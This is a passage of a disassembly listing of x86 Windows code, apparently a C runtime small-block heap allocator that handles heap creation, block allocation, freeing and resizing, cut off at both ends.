[ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: sub_41AB9C+A5j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: sub_41AB9C+115j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: sub_41AB9C+10Cj inc ecx loc_41ACAF: ; CODE XREF: sub_41AB9C+110j cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: sub_41AB9C+107j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: sub_41AB9C+5Cj ; sub_41AB9C+F2j ... lea eax, [ebp+var_4] push eax call sub_41AB6F cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: sub_41AB9C+3Ej ; sub_41AB9C+126j ... pop ebx leave retn sub_41AB9C endp ; =============== S U B R O U T I N E ======================================= sub_41ACE4 proc near ; CODE XREF: ___:00419C3Ep arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax nop call near ptr 2830000h test eax, eax mov dword_48B684, eax jz short loc_41AD3A call sub_41AB9C cmp eax, 3 mov dword_48B688, eax jnz short loc_41AD20 push 3F8h call sub_41AD41 pop ecx jmp short loc_41AD2A ; --------------------------------------------------------------------------- loc_41AD20: ; CODE XREF: sub_41ACE4+2Dj cmp eax, 2 jnz short loc_41AD3D call sub_41B888 loc_41AD2A: ; CODE XREF: sub_41ACE4+3Aj test eax, eax jnz short loc_41AD3D push dword_48B684 nop call near ptr 2820E12h loc_41AD3A: ; CODE XREF: sub_41ACE4+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41AD3D: ; CODE XREF: sub_41ACE4+3Fj ; sub_41ACE4+48j push 1 pop eax retn sub_41ACE4 endp ; =============== S U B R O U T I N E ======================================= sub_41AD41 proc near ; CODE XREF: sub_41ACE4+34p arg_0 = dword ptr 4 push 140h push 0 push dword_48B684 nop call near ptr 26F0000h test eax, eax mov dword_48B67C, eax jnz short loc_41AD5E retn ; --------------------------------------------------------------------------- loc_41AD5E: ; CODE XREF: sub_41AD41+1Aj mov ecx, [esp+arg_0] and dword_48B674, 0 and dword_48B678, 0 push 1 mov dword_48B670, eax mov dword_48B680, ecx mov dword_48B668, 10h pop eax retn sub_41AD41 endp ; =============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_48B678 lea ecx, [eax+eax*4] mov eax, dword_48B67C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_48B674 test eax, eax jz loc_41B0CA mov ecx, dword_48B66C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_48B66C mov eax, dword_48B674 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_48B674 mov ecx, dword_48B66C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_48B674 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_48B674 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_48B674 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_48B674 push dword ptr [eax+10h] push 0 push dword_48B684 nop call near ptr 26E0273h mov eax, dword_48B678 mov edx, dword_48B67C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_48B674 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_48B678 cmp eax, dword_48B674 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_48B67C mov dword_48B670, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_48B66C, edi mov dword_48B674, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_48B678 mov edx, dword_48B67C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_48B670 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_48B670, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_48B674 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_48B66C jnz short loc_41B3D9 and dword_48B674, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_48B678 mov ecx, dword_48B668 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48B67C push edi push dword_48B684 call near ptr 2800000h nop cmp eax, edi jz short loc_41B479 add dword_48B668, 10h mov dword_48B67C, eax mov eax, dword_48B678 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_48B67C push 41C4h push 8 lea eax, [eax+eax*4] push dword_48B684 lea esi, [ecx+eax*4] nop call near ptr 26F0000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi call near ptr 28306BCh nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_48B684 nop call near ptr 26E0273h loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_48B678 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 28306BCh test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, 